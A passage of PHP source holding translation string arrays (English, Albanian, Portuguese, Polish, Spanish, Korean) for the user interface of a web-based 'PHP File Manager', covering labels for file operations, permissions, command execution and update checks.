$et['en']['FileMan'] = 'PHP File Manager'; $et['en']['InvPass'] = 'Invalid Password'; $et['en']['ReadDenied'] = 'Read Access Denied'; $et['en']['FileNotFound'] = 'File not found'; $et['en']['AutoClose'] = 'Close on Complete'; $et['en']['OutDocRoot'] = 'File beyond DOCUMENT_ROOT'; $et['en']['NoCmd'] = 'Error: Command not informed'; $et['en']['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway'; $et['en']['ConfSaved'] = 'Configurations saved'; $et['en']['PassSaved'] = 'Password saved'; $et['en']['FileDirExists'] = 'File or directory already exists'; $et['en']['NoPhpinfo'] = 'Function phpinfo disabled'; $et['en']['NoReturn'] = 'no return'; $et['en']['FileSent'] = 'File sent'; $et['en']['SpaceLimReached'] = 'Space limit reached'; $et['en']['InvExt'] = 'Invalid extension'; $et['en']['FileNoOverw'] = 'File could not be overwritten'; $et['en']['FileOverw'] = 'File overwritten'; $et['en']['FileIgnored'] = 'File ignored'; $et['en']['ChkVer'] = 'Check for new version'; $et['en']['ChkVerAvailable'] = 'New version, click here to begin download!!'; $et['en']['ChkVerNotAvailable'] = 'No new version available. :('; $et['en']['ChkVerError'] = 'Connection Error.'; $et['en']['Website'] = 'Website'; $et['en']['SendingForm'] = 'Sending files, please wait'; $et['en']['NoFileSel'] = 'No file selected'; $et['en']['SelAll'] = 'All'; $et['en']['SelNone'] = 'None'; $et['en']['SelInverse'] = 'Inverse'; $et['en']['Selected_s'] = 'selected'; $et['en']['Total'] = 'total'; $et['en']['Partition'] = 'Partition'; $et['en']['RenderTime'] = 'Time to render this page'; $et['en']['Seconds'] = 'sec'; $et['en']['ErrorReport'] = 'Error Reporting'; $et['en']['Close'] = 'Close'; $et['en']['SetPass'] = 'Set Password'; $et['en']['ChangePass'] = 'Change Password'; $et['en']['Portscan'] = 'Portscan'; $et['en']['PHPOpenBasedir'] = 'PHP Open Basedir'; $et['en']['PHPOpenBasedirFullAccess'] = '(unset) Full Access'; $et['en']['About'] = 'About'; $et['en']['FileSaved'] = 'File saved'; $et['en']['FileSaveError'] = 'Error saving file'; // Shqip (Albanian) - by Vilson Bujaj $et['sq']['Version'] = 'Versioni'; $et['sq']['DocRoot'] = 'Document Root'; $et['sq']['FMRoot'] = 'File Manager Root'; $et['sq']['Name'] = 'Emri'; $et['sq']['And'] = 'dhe'; $et['sq']['Enter'] = 'Hyr'; $et['sq']['Send'] = 'Dergo'; $et['sq']['Refresh'] = 'Azhorno'; $et['sq']['SaveConfig'] = 'Ruaji Konfigurimet'; $et['sq']['SavePass'] = 'Ruaj Password-in'; $et['sq']['SaveFile'] = 'Ruaj File-in/et'; $et['sq']['Save'] = 'Ruaj'; $et['sq']['Leave'] = 'Dil'; $et['sq']['Edit'] = 'Modifiko'; $et['sq']['View'] = 'Shiko'; $et['sq']['Config'] = 'Konfigurime'; $et['sq']['Ren'] = 'Riemerto'; $et['sq']['Rem'] = 'Fshij'; $et['sq']['Compress'] = 'Paketo'; $et['sq']['Decompress'] = 'Hiq nga Paketa'; $et['sq']['ResolveIDs'] = 'Rregullo ID-te'; $et['sq']['Move'] = 'Zhvendos'; $et['sq']['Copy'] = 'Kopjo'; $et['sq']['ServerInfo'] = 'Informacionet mbi Server'; $et['sq']['CreateDir'] = 'Krijo Kartele'; $et['sq']['CreateArq'] = 'Krijo File'; $et['sq']['ExecCmd'] = 'Ekzekuto Komando'; $et['sq']['Upload'] = 'Ngarko'; $et['sq']['UploadEnd'] = 'Ngarkimi u krye'; $et['sq']['Perm'] = 'Leje'; $et['sq']['Perms'] = 'Lejet'; $et['sq']['Owner'] = 'Pronar'; $et['sq']['Group'] = 'Grupi'; $et['sq']['Other'] = 'Tjere'; $et['sq']['Size'] = 'Dimensioni'; $et['sq']['Date'] = 'Data'; $et['sq']['Type'] = 'Tipi'; $et['sq']['Free'] = 'te lire'; $et['sq']['Shell'] = 'Shell'; $et['sq']['Read'] = 'Lexim'; $et['sq']['Write'] = 'Shkrimi'; $et['sq']['Exec'] = 'Ekzekutimi'; $et['sq']['Apply'] = 'Apliko'; $et['sq']['StickyBit'] = 'Sticky Bit'; $et['sq']['Pass'] = 'Password'; $et['sq']['Lang'] = 'Gjuha'; $et['sq']['File'] = 'File'; $et['sq']['File_s'] = 'file'; $et['sq']['Dir_s'] = 'kartele'; $et['sq']['To'] = 'tek'; $et['sq']['Destination'] = 'Mberritjes'; $et['sq']['Configurations'] = 'Konfigurime'; $et['sq']['JSError'] = 'Gabim JavaScript'; $et['sq']['NoSel'] = 'Nuk ka elemente te selektuar'; $et['sq']['SelDir'] = 'Zgjidh kartelen e mberritjes'; $et['sq']['TypeDir'] = 'Vendos emrin e karteles'; $et['sq']['TypeArq'] = 'Vendos emrin e file-it'; $et['sq']['TypeCmd'] = 'Vendos komandon'; $et['sq']['TypeArqComp'] = 'Vendos emrin e file-it.\\nPrapashtesa do te percaktoje tipin e paketimit.\\nShembull:\\nemri.zip\\nemri.tar\\nemri.bzip\\nemri.gzip'; $et['sq']['RemSel'] = 'FSHIJ elementet e selektuar'; $et['sq']['NoDestDir'] = 'Kartela e mberritjes nuk eshte selektuar'; $et['sq']['DestEqOrig'] = 'Kartela e nisjes dhe e mberritjes jane e njejta'; $et['sq']['InvalidDest'] = 'Kartela e mberritjes nuk eshte e vlefshme'; $et['sq']['NoNewPerm'] = 'Lejet e reja nuk u aktivizuan'; $et['sq']['CopyTo'] = 'KOPJO ne'; $et['sq']['MoveTo'] = 'Zhvendos ne'; $et['sq']['AlterPermTo'] = 'NDERROJ LEJET: '; $et['sq']['ConfExec'] = 'Konfirmo EKZEKUTIMIN '; $et['sq']['ConfRem'] = 'Konfirmo FSHIRJEN'; $et['sq']['EmptyDir'] = 'Kartela bosh'; $et['sq']['IOError'] = 'Gabim I/O'; $et['sq']['FileMan'] = 'PHP File Manager'; $et['sq']['TypePass'] = 'Vendos Passwordin'; $et['sq']['InvPass'] = 'Passwordi jo i vlefshem'; $et['sq']['ReadDenied'] = 'Leja e leximit e mohuar'; $et['sq']['FileNotFound'] = 'File-i nuk u gjet'; $et['sq']['AutoClose'] = 'Mbydh dritaren ne perfundim'; $et['sq']['OutDocRoot'] = 'File-i pertej DOCUMENT_ROOT'; $et['sq']['NoCmd'] = 'Gabim: Komandoja e pa informuar'; $et['sq']['ConfTrySave'] = 'File-i pa leje shkrimi.\\nProvoj ta ruaj gjithsesi'; $et['sq']['ConfSaved'] = 'Konfigurimi u ruajt'; $et['sq']['PassSaved'] = 'Passwordi u ruajt'; $et['sq']['FileDirExists'] = 'File-i ose kartela ekzistojne'; $et['sq']['NoPhpinfo'] = 'Funksioni phpinfo eshte i disaktivizuar '; $et['sq']['NoReturn'] = 'pa Return'; $et['sq']['FileSent'] = 'File-i u dergua'; $et['sq']['SpaceLimReached'] = 'eshte arritur limiti i hapesires se lejueshme'; $et['sq']['InvExt'] = 'Prapashtesa jo e vlefshme'; $et['sq']['FileNoOverw'] = 'File-i nuk mund te mbishkruhet'; $et['sq']['FileOverw'] = 'File-i u mbishkruajt'; $et['sq']['FileIgnored'] = 'File-i u mohua'; $et['sq']['ChkVer'] = 'Kontrollo nese ka ndonje version te ri'; $et['sq']['ChkVerAvailable'] = 'Ka nje version te ri: kliko ketu per ta shkarkuar.'; $et['sq']['ChkVerNotAvailable'] = 'Nuk ka asnje version te ri. :('; $et['sq']['ChkVerError'] = 'Gabim ne lidhje.'; $et['sq']['Website'] = 'Sit Web'; $et['sq']['SendingForm'] = 'Po dergoj file-in, ju lutem prisni'; $et['sq']['NoFileSel'] = 'Asnje file i selektuar'; $et['sq']['SelAll'] = 'Gjithe'; $et['sq']['SelNone'] = 'Asnje'; $et['sq']['SelInverse'] = 'Ndrysho'; $et['sq']['Selected_s'] = 'selektuar'; $et['sq']['Total'] = 'total'; $et['sq']['Partition'] = 'Particioni'; $et['sq']['RenderTime'] = 'Koha per te krijuar kete faqe'; $et['sq']['Seconds'] = 'sek'; $et['sq']['ErrorReport'] = 'Gabim ne Raportim'; // Portuguese - by Fabricio Seger Kolling $et['pt']['Version'] = 'Versão'; $et['pt']['DocRoot'] = 'Document Root'; $et['pt']['FMRoot'] = 'File Manager Root'; $et['pt']['DateFormat'] = 'Formato de Data'; $et['pt']['GetSize'] = 'Ver tamanho'; $et['pt']['Error'] = 'Erro'; $et['pt']['Name'] = 'Nome'; $et['pt']['And'] = 'e'; $et['pt']['Enter'] = 'Entrar'; $et['pt']['Send'] = 'Enviar'; $et['pt']['Refresh'] = 'Atualizar'; $et['pt']['SaveConfig'] = 'Salvar Configurações'; //$et['pt']['SavePass'] = 'Salvar Senha'; //$et['en']['TypePass'] = 'Digite a senha'; $et['pt']['SaveFile'] = 'Salvar Arquivo'; $et['pt']['Save'] = 'Salvar'; $et['pt']['Leave'] = 'Sair'; $et['pt']['Edit'] = 'Editar'; $et['pt']['View'] = 'Visualizar'; $et['pt']['Config'] = 'Config'; $et['pt']['Ren'] = 'Renomear'; $et['pt']['Rem'] = 'Apagar'; $et['pt']['Compress'] = 'Compactar'; $et['pt']['Decompress'] = 'Descompactar'; $et['pt']['ResolveIDs'] = 'Resolver IDs'; $et['pt']['Move'] = 'Mover'; $et['pt']['Copy'] = 'Copiar'; $et['pt']['ServerInfo'] = 'Server Info'; $et['pt']['CreateDir'] = 'Criar Diretório'; $et['pt']['CreateArq'] = 'Criar Arquivo'; $et['pt']['ExecCmd'] = 'Executar Comando'; $et['pt']['Upload'] = 'Upload'; $et['pt']['UploadEnd'] = 'Upload Terminado'; $et['pt']['Perm'] = 'Perm'; $et['pt']['Perms'] = 'Permissões'; $et['pt']['Owner'] = 'Dono'; $et['pt']['Group'] = 'Grupo'; $et['pt']['Other'] = 'Outros'; $et['pt']['Size'] = 'Tamanho'; $et['pt']['Date'] = 'Data'; $et['pt']['Type'] = 'Tipo'; $et['pt']['Free'] = 'livre'; $et['pt']['Shell'] = 'Shell'; $et['pt']['Read'] = 'Ler'; $et['pt']['Write'] = 'Escrever'; $et['pt']['Exec'] = 'Executar'; $et['pt']['Apply'] = 'Aplicar'; $et['pt']['StickyBit'] = 'Sticky Bit'; $et['pt']['Pass'] = 'Senha'; $et['pt']['Lang'] = 'Idioma'; $et['pt']['File'] = 'Arquivo'; $et['pt']['File_s'] = 'arquivo(s)'; $et['pt']['Dir_s'] = 'diretorio(s)'; $et['pt']['To'] = 'para'; $et['pt']['Destination'] = 'Destino'; $et['pt']['Configurations'] = 'Configurações'; $et['pt']['JSError'] = 'Erro de JavaScript'; $et['pt']['NoSel'] = 'Não há itens selecionados'; $et['pt']['SelDir'] = 'Selecione o diretório de destino na árvore a esquerda'; $et['pt']['TypeDir'] = 'Digite o nome do diretório'; $et['pt']['TypeArq'] = 'Digite o nome do arquivo'; $et['pt']['TypeCmd'] = 'Digite o commando'; $et['pt']['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extensão determina o tipo de compactação.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['pt']['RemSel'] = 'APAGAR itens selecionados'; $et['pt']['NoDestDir'] = 'Não há um diretório de destino selecionado'; $et['pt']['DestEqOrig'] = 'Diretório de origem e destino iguais'; $et['pt']['InvalidDest'] = 'Diretório de destino inválido'; $et['pt']['NoNewPerm'] = 'Nova permissão não foi setada'; $et['pt']['CopyTo'] = 'COPIAR para'; $et['pt']['MoveTo'] = 'MOVER para'; $et['pt']['AlterPermTo'] = 'ALTERAR PERMISSÕES para'; $et['pt']['ConfExec'] = 'Confirma EXECUTAR'; $et['pt']['ConfRem'] = 'Confirma APAGAR'; $et['pt']['EmptyDir'] = 'Diretório vazio'; $et['pt']['IOError'] = 'Erro de E/S'; $et['pt']['FileMan'] = 'PHP File Manager'; $et['pt']['TypePass'] = 'Digite a senha'; $et['pt']['InvPass'] = 'Senha Inválida'; $et['pt']['ReadDenied'] = 'Acesso de leitura negado'; $et['pt']['FileNotFound'] = 'Arquivo não encontrado'; $et['pt']['AutoClose'] = 'Fechar Automaticamente'; $et['pt']['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT'; $et['pt']['NoCmd'] = 'Erro: Comando não informado'; $et['pt']['ConfTrySave'] = 'Arquivo sem permissão de escrita.\\nTentar salvar assim mesmo'; $et['pt']['ConfSaved'] = 'Configurações salvas'; $et['pt']['PassSaved'] = 'Senha salva'; $et['pt']['FileDirExists'] = 'Arquivo ou diretório já existe'; $et['pt']['NoPhpinfo'] = 'Função phpinfo desabilitada'; $et['pt']['NoReturn'] = 'sem retorno'; $et['pt']['FileSent'] = 'Arquivo enviado'; $et['pt']['SpaceLimReached'] = 'Limite de espaço alcançado'; $et['pt']['InvExt'] = 'Extensão inválida'; $et['pt']['FileNoOverw'] = 'Arquivo não pode ser sobreescrito'; $et['pt']['FileOverw'] = 'Arquivo sobreescrito'; $et['pt']['FileIgnored'] = 'Arquivo omitido'; $et['pt']['ChkVer'] = 'Verificar por nova versão'; $et['pt']['ChkVerAvailable'] = 'Nova versão, clique aqui para iniciar download!!'; $et['pt']['ChkVerNotAvailable'] = 'Não há nova versão disponível. :('; $et['pt']['ChkVerError'] = 'Erro de conexão.'; $et['pt']['Website'] = 'Website'; $et['pt']['SendingForm'] = 'Enviando arquivos, aguarde'; $et['pt']['NoFileSel'] = 'Nenhum arquivo selecionado'; $et['pt']['SelAll'] = 'Tudo'; $et['pt']['SelNone'] = 'Nada'; $et['pt']['SelInverse'] = 'Inverso'; $et['pt']['Selected_s'] = 'selecionado(s)'; $et['pt']['Total'] = 'total'; $et['pt']['Partition'] = 'Partição'; $et['pt']['RenderTime'] = 'Tempo para gerar esta página'; $et['pt']['Seconds'] = 'seg'; $et['pt']['ErrorReport'] = 'Error Reporting'; $et['pt']['Close'] = 'Fechar'; $et['pt']['SetPass'] = 'Alterar Senha'; $et['pt']['ChangePass'] = 'Alterar Senha'; $et['pt']['Portscan'] = 'Portscan'; $et['pt']['PHPOpenBasedir'] = 'PHP Open Basedir'; $et['pt']['PHPOpenBasedirFullAccess'] = '(indefinido) Acesso Completo'; $et['pt']['About'] = 'Sobre'; $et['pt']['FileSaved'] = 'Arquivo salvo'; $et['pt']['FileSaveError'] = 'Erro salvando arquivo'; // Polish - by Jakub Kocój $et['pl']['Version'] = 'Wersja'; $et['pl']['DocRoot'] = 'Document Root'; $et['pl']['FMRoot'] = 'File Manager Root'; $et['pl']['Name'] = 'Nazwa'; $et['pl']['And'] = 'i'; $et['pl']['Enter'] = 'Enter'; $et['pl']['Send'] = 'Wyślij'; $et['pl']['Refresh'] = 'Odśwież'; $et['pl']['SaveConfig'] = 'Zapisz konfigurację'; $et['pl']['SaveFile'] = 'Zapisz plik'; $et['pl']['Save'] = 'Zapisz'; $et['pl']['Leave'] = 'Wyjdź'; $et['pl']['Edit'] = 'Edycja'; $et['pl']['View'] = 'Pokaż'; $et['pl']['Config'] = 'Konfiguracja'; $et['pl']['Ren'] = 'Zmień nazwę'; $et['pl']['Rem'] = 'Usuń'; $et['pl']['Compress'] = 'Kompresuj'; $et['pl']['Decompress'] = 'Dekompresuj'; $et['pl']['ResolveIDs'] = 'Rozpoznaj ID'; $et['pl']['Move'] = 'Przenieś'; $et['pl']['Copy'] = 'Kopiuj'; $et['pl']['ServerInfo'] = 'Informacje o serwerze'; $et['pl']['CreateDir'] = 'Utwórz katalog'; $et['pl']['CreateArq'] = 'Utówrz plik'; $et['pl']['ExecCmd'] = 'Wykonaj polecenie'; $et['pl']['Upload'] = 'Wgraj plik'; $et['pl']['UploadEnd'] = 'Wgranie zakończone'; $et['pl']['Perm'] = 'Prawa pliku'; $et['pl']['Perms'] = 'Prawa dostępu'; $et['pl']['Owner'] = 'Właściciel'; $et['pl']['Group'] = 'Grupa'; $et['pl']['Other'] = 'Inne'; $et['pl']['Size'] = 'Rozmiar'; $et['pl']['Date'] = 'Data'; $et['pl']['Type'] = 'Typ'; $et['pl']['Free'] = 'darmowe'; $et['pl']['Shell'] = 'Shell'; $et['pl']['Read'] = 'Odczyt'; $et['pl']['Write'] = 'Zapis'; $et['pl']['Exec'] = 'Wykonywanie'; $et['pl']['Apply'] = 'Zastosuj'; $et['pl']['StickyBit'] = 'Sticky Bit'; $et['pl']['Pass'] = 'Hasło'; $et['pl']['Lang'] = 'Język'; $et['pl']['File'] = 'Plik'; $et['pl']['File_s'] = 'Plik(i)'; $et['pl']['Dir_s'] = 'katalog(i)'; $et['pl']['To'] = 'do'; $et['pl']['Destination'] = 'Cel'; $et['pl']['Configurations'] = 'Konfiguracje'; $et['pl']['JSError'] = 'Błąd JavaScript'; $et['pl']['NoSel'] = 'Nie wybrano żadnych rekordów'; $et['pl']['SelDir'] = 'Wybierz docelowy folder w drzewku po lewej'; $et['pl']['TypeDir'] = 'Wpisz nazwę folderu'; $et['pl']['TypeArq'] = 'Wpisz nazwę pliku'; $et['pl']['TypeCmd'] = 'Wprowadź komendę'; $et['pl']['TypeArqComp'] = 'Wprowadź nazwę pliku.\\nRozszerzenie definiuje kompresję pliku.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['pl']['RemSel'] = 'USUŃ zanzaczone rekordy'; $et['pl']['NoDestDir'] = 'Nie wybrano folderu docelowego'; $et['pl']['DestEqOrig'] = 'Folder docelowy jest równy bieżącemu folderowi'; $et['pl']['InvalidDest'] = 'Folder docelowy jest niepoprawny'; $et['pl']['NoNewPerm'] = 'Nie ustawiono uprawnień'; $et['pl']['CopyTo'] = 'KOPIUJ do'; $et['pl']['MoveTo'] = 'PRZENIEŚ do'; $et['pl']['AlterPermTo'] = 'ZMIEŃ PRAWA DOSTĘPU do'; $et['pl']['ConfExec'] = 'Potwierdź WYKONANIE POLECENIA'; $et['pl']['ConfRem'] = 'Potwierdź USUNIĘCIE'; $et['pl']['EmptyDir'] = 'Pusty folder'; $et['pl']['IOError'] = 'Błąd wejścia/wyjścia'; $et['pl']['FileMan'] = 'PHP Menadźer plików'; $et['pl']['InvPass'] = 'Niepoprawne hasło'; $et['pl']['ReadDenied'] = 'Czytanie dostęp zabroniony'; $et['pl']['FileNotFound'] = 'Nie odnaleziono pliku'; $et['pl']['AutoClose'] = 'Zamknij po zakończeniu'; $et['pl']['OutDocRoot'] = 'Plik powyżej DOCUMENT_ROOT'; $et['pl']['NoCmd'] = 'Błąd: Brak polecenia'; $et['pl']['ConfTrySave'] = 'Plik bez możliwości zapisy.\\nSpróbój zapisać pomimo tego'; $et['pl']['ConfSaved'] = 'Konfiguracja zapisana'; $et['pl']['PassSaved'] = 'Hasło zapisane'; $et['pl']['FileDirExists'] = 'Plik lub folder już istnieje'; $et['pl']['NoPhpinfo'] = 'Funkcja phpinfo wyłączona'; $et['pl']['NoReturn'] = 'bez powrotu'; $et['pl']['FileSent'] = 'Plik wysłano'; $et['pl']['SpaceLimReached'] = 'Osiągnięto limit miejsa'; $et['pl']['InvExt'] = 'Niepoprawne rozszerzenie'; $et['pl']['FileNoOverw'] = 'Plik nie może zostać nadpisany'; $et['pl']['FileOverw'] = 'Nadpisano plik'; $et['pl']['FileIgnored'] = 'Plik pominięte'; $et['pl']['ChkVer'] = 'Sprawdź aktualizacje'; $et['pl']['ChkVerAvailable'] = 'Jest nowa wersja, klikniu tutaj aby pobrać!!'; $et['pl']['ChkVerNotAvailable'] = 'Brak nowszej wersji. :('; $et['pl']['ChkVerError'] = 'Błąd połączenia.'; $et['pl']['Website'] = 'Strona'; $et['pl']['SendingForm'] = 'Pliki są przesyłane, proszę czekać'; $et['pl']['NoFileSel'] = 'Nie wybrano pliku'; $et['pl']['SelAll'] = 'Wszystkie'; $et['pl']['SelNone'] = 'Żadme'; $et['pl']['SelInverse'] = 'Odwróć zaznaczenie'; $et['pl']['Selected_s'] = 'zaznaczone'; $et['pl']['Total'] = 'Wszystkie'; $et['pl']['Partition'] = 'Partycja'; $et['pl']['RenderTime'] = 'Czas do wyrenderowania tej strony'; $et['pl']['Seconds'] = 'sec'; $et['pl']['ErrorReport'] = 'Raportowanie błędów'; $et['pl']['Close'] = 'Zamknij'; $et['pl']['SetPass'] = 'Ustaw hasło'; $et['pl']['ChangePass'] = 'Zmień hasło'; $et['pl']['Portscan'] = 'Skan portów'; // Spanish - by Sh Studios $et['es']['Version'] = 'Versión'; $et['es']['DocRoot'] = 'Raiz del programa'; $et['es']['FMRoot'] = 'Raiz del administrador de archivos'; $et['es']['Name'] = 'Nombre'; $et['es']['And'] = 'y'; $et['es']['Enter'] = 'Enter'; $et['es']['Send'] = 'Enviar'; $et['es']['Refresh'] = 'Refrescar'; $et['es']['SaveConfig'] = 'Guardar configuraciones'; $et['es']['SavePass'] = 'Cuardar Contraseña'; $et['es']['SaveFile'] = 'Guardar Archivo'; $et['es']['Save'] = 'Guardar'; $et['es']['Leave'] = 'Salir'; $et['es']['Edit'] = 'Editar'; $et['es']['View'] = 'Mirar'; $et['es']['Config'] = 'Config.'; $et['es']['Ren'] = 'Renombrar'; $et['es']['Rem'] = 'Borrar'; $et['es']['Compress'] = 'Comprimir'; $et['es']['Decompress'] = 'Decomprimir'; $et['es']['ResolveIDs'] = 'Resolver IDs'; $et['es']['Move'] = 'Mover'; $et['es']['Copy'] = 'Copiar'; $et['es']['ServerInfo'] = 'Info del Server'; $et['es']['CreateDir'] = 'Crear Directorio'; $et['es']['CreateArq'] = 'Crear Archivo'; $et['es']['ExecCmd'] = 'Ejecutar Comando'; $et['es']['Upload'] = 'Subir'; $et['es']['UploadEnd'] = 'Subida exitosa'; $et['es']['Perm'] = 'Perm'; $et['es']['Perms'] = 'Permisiones'; $et['es']['Owner'] = 'Propietario'; $et['es']['Group'] = 'Grupo'; $et['es']['Other'] = 'Otro'; $et['es']['Size'] = 'Tamaño'; $et['es']['Date'] = 'Fecha'; $et['es']['Type'] = 'Tipo'; $et['es']['Free'] = 'libre'; $et['es']['Shell'] = 'Ejecutar'; $et['es']['Read'] = 'Leer'; $et['es']['Write'] = 'Escribir'; $et['es']['Exec'] = 'Ejecutar'; $et['es']['Apply'] = 'Aplicar'; $et['es']['StickyBit'] = 'Sticky Bit'; $et['es']['Pass'] = 'Contraseña'; $et['es']['Lang'] = 'Lenguage'; $et['es']['File'] = 'Archivos'; $et['es']['File_s'] = 'archivo(s)'; $et['es']['Dir_s'] = 'directorio(s)'; $et['es']['To'] = 'a'; $et['es']['Destination'] = 'Destino'; $et['es']['Configurations'] = 'Configuracion'; $et['es']['JSError'] = 'Error de JavaScript'; $et['es']['NoSel'] = 'No hay items seleccionados'; $et['es']['SelDir'] = 'Seleccione el directorio de destino en el arbol derecho'; $et['es']['TypeDir'] = 'Escriba el nombre del directorio'; $et['es']['TypeArq'] = 'Escriba el nombre del archivo'; $et['es']['TypeCmd'] = 'Escriba el comando'; $et['es']['TypeArqComp'] = 'Escriba el nombre del directorio.\\nLa extension definira el tipo de compresion.\\nEj:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['es']['RemSel'] = 'BORRAR items seleccionados'; $et['es']['NoDestDir'] = 'No se ha seleccionado el directorio de destino'; $et['es']['DestEqOrig'] = 'El origen y el destino son iguales'; $et['es']['InvalidDest'] = 'El destino del directorio es invalido'; $et['es']['NoNewPerm'] = 'Las permisiones no se pudieron establecer'; $et['es']['CopyTo'] = 'COPIAR a'; $et['es']['MoveTo'] = 'MOVER a'; $et['es']['AlterPermTo'] = 'CAMBIAR PERMISIONES a'; $et['es']['ConfExec'] = 'Confirmar EJECUCION'; $et['es']['ConfRem'] = 'Confirmar BORRADO'; $et['es']['EmptyDir'] = 'Directorio Vacio'; $et['es']['IOError'] = 'Error I/O'; $et['es']['FileMan'] = 'PHP File Manager'; $et['es']['TypePass'] = 'Escriba la contraseña'; $et['es']['InvPass'] = 'Contraseña invalida'; $et['es']['ReadDenied'] = 'Acceso de lectura denegado'; $et['es']['FileNotFound'] = 'Archivo no encontrado'; $et['es']['AutoClose'] = 'Cerrar al completar'; $et['es']['OutDocRoot'] = 'Archivo antes de DOCUMENT_ROOT'; $et['es']['NoCmd'] = 'Error: No se ha escrito ningun comando'; $et['es']['ConfTrySave'] = 'Archivo sin permisos de escritura.\\nIntente guardar en otro lugar'; $et['es']['ConfSaved'] = 'Configuracion Guardada'; $et['es']['PassSaved'] = 'Contraseña guardada'; $et['es']['FileDirExists'] = 'Archivo o directorio ya existente'; $et['es']['NoPhpinfo'] = 'Funcion phpinfo() inhabilitada'; $et['es']['NoReturn'] = 'sin retorno'; $et['es']['FileSent'] = 'Archivo enviado'; $et['es']['SpaceLimReached'] = 'Limite de espacio en disco alcanzado'; $et['es']['InvExt'] = 'Extension inalida'; $et['es']['FileNoOverw'] = 'El archivo no pudo ser sobreescrito'; $et['es']['FileOverw'] = 'Archivo sobreescrito'; $et['es']['FileIgnored'] = 'Archivo ignorado'; $et['es']['ChkVer'] = 'Chequear las actualizaciones'; $et['es']['ChkVerAvailable'] = 'Nueva version, haga click aqui para descargar!!'; $et['es']['ChkVerNotAvailable'] = 'Su version es la mas reciente.'; $et['es']['ChkVerError'] = 'Error de coneccion.'; $et['es']['Website'] = 'Sitio Web'; $et['es']['SendingForm'] = 'Enviando archivos, espere!'; $et['es']['NoFileSel'] = 'Ningun archivo seleccionado'; $et['es']['SelAll'] = 'Todos'; $et['es']['SelNone'] = 'Ninguno'; $et['es']['SelInverse'] = 'Inverso'; $et['es']['Selected_s'] = 'seleccionado'; $et['es']['Total'] = 'total'; $et['es']['Partition'] = 'Particion'; $et['es']['RenderTime'] = 'Generado en'; $et['es']['Seconds'] = 'seg'; $et['es']['ErrorReport'] = 'Reporte de error'; // Korean - by Airplanez, totally revised by Quidn(S. Seo) $et['ko']['Version'] = '버전'; $et['ko']['DocRoot'] = '호스트 루트 디렉토리'; $et['ko']['FMRoot'] = '관리하려는 디렉토리'; $et['ko']['DateFormat'] = '날짜 형식'; $et['ko']['GetSize'] = '크기 계산'; $et['ko']['Error'] = '오류'; $et['ko']['Name'] = '이름'; $et['ko']['And'] = '및'; $et['ko']['Enter'] = '입력'; $et['ko']['Send'] = '전송'; $et['ko']['Refresh'] = '새로고침'; $et['ko']['SaveConfig'] = '설정 저장'; //$et['ko']['SavePass'] = '패스워드 저장'; //$et['ko']['TypePass'] = '패스워드 입력'; $et['ko']['SaveFile'] = '파일 저장'; $et['ko']['Save'] = '저장'; $et['ko']['Leave'] = '로그아웃'; $et['ko']['Edit'] = '수정'; $et['ko']['View'] = '보기'; $et['ko']['Config'] = '설정'; $et['ko']['Ren'] = '이름 변경'; $et['ko']['Rem'] = '삭제'; $et['ko']['Compress'] = '압축'; $et['ko']['Decompress'] = '압축해제'; $et['ko']['ResolveIDs'] = '소유자 ID 숫자↔문자'; $et['ko']['Move'] = '이동'; $et['ko']['Copy'] = '복사'; $et['ko']['ServerInfo'] = '서버 정보'; $et['ko']['CreateDir'] = '새 디렉토리'; $et['ko']['CreateArq'] = '새 파일'; $et['ko']['Symlink'] = '심링크'; $et['ko']['HardLink'] = '하드링크'; $et['ko']['ExecCmd'] = '명령 실행'; $et['ko']['Upload'] = '업로드'; $et['ko']['UploadEnd'] = '업로드 완료'; $et['ko']['Perm'] = '권한'; $et['ko']['Perms'] = '권한'; $et['ko']['Owner'] = '소유자'; $et['ko']['Group'] = '그룹'; $et['ko']['Other'] = '기타'; $et['ko']['Size'] = '크기'; $et['ko']['Date'] = '날짜'; $et['ko']['Type'] = '종류'; $et['ko']['Free'] = '사용 가능'; $et['ko']['Shell'] = '쉘'; $et['ko']['Read'] = '읽기'; $et['ko']['Write'] = '쓰기'; $et['ko']['Exec'] = '실행'; $et['ko']['Apply'] = '적용'; $et['ko']['StickyBit'] = '스티키 비트'; $et['ko']['Pass'] = '패스워드'; $et['ko']['Lang'] = '언어'; $et['ko']['File'] = '파일'; $et['ko']['File_s'] = '파일'; $et['ko']['Dir_s'] = '개의 디렉토리'; $et['ko']['To'] = '에서'; $et['ko']['Destination'] = '대상 디렉토리'; $et['ko']['Configurations'] = '설정'; $et['ko']['JSError'] = '스크립트 오류'; $et['ko']['NoSel'] = '선택한 항목이 없습니다'; $et['ko']['SelDir'] = '왼쪽 목록에서 대상 디렉토리를 선택해주세요'; $et['ko']['TypeDir'] = '디렉토리 이름을 입력해주세요'; $et['ko']['TypeArq'] = '파일 이름을 입력해주세요'; $et['ko']['TypeCmd'] = '명령어를 입력해주세요'; $et['ko']['TypeArqComp'] = '압축파일 이름을 입력해 주시면, 확장자에 맞는 형식으로 압축합니다.\\n\\n확장자 예시:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['ko']['RemSel'] = '선택한 항목을 삭제하시겠습니까'; $et['ko']['NoDestDir'] = '선택한 대상 디렉토리가 없습니다'; $et['ko']['DestEqOrig'] = '원본 디렉토리와 대상 디렉토리가 동일합니다'; $et['ko']['InvalidDest'] = '대상 디렉토리가 올바르지 않습니다'; $et['ko']['NoNewPerm'] = '권한이 설정되지 않았습니다'; $et['ko']['CopyTo'] = '여기에 복사하시겠습니까'; $et['ko']['MoveTo'] = '여기로 이동하시겠습니다'; $et['ko']['AlterPermTo'] = '권한을 다음으로 변경하시겠습니까'; $et['ko']['ConfExec'] = '다음을 실행하시겠습니까'; $et['ko']['ConfRem'] = '다음을 삭제하시겠습니까'; $et['ko']['EmptyDir'] = '디렉토리가 비었습니다'; $et['ko']['IOError'] = '입출력 오류가 발생했습니다'; $et['ko']['FileMan'] = 'PHP 파일 관리자'; $et['ko']['InvPass'] = '패스워드가 올바르지 않습니다'; $et['ko']['ReadDenied'] = '파일을 읽을 수 없습니다'; $et['ko']['FileNotFound'] = '파일을 찾을 수 없습니다'; $et['ko']['AutoClose'] = '완료 후 닫기'; $et['ko']['OutDocRoot'] = 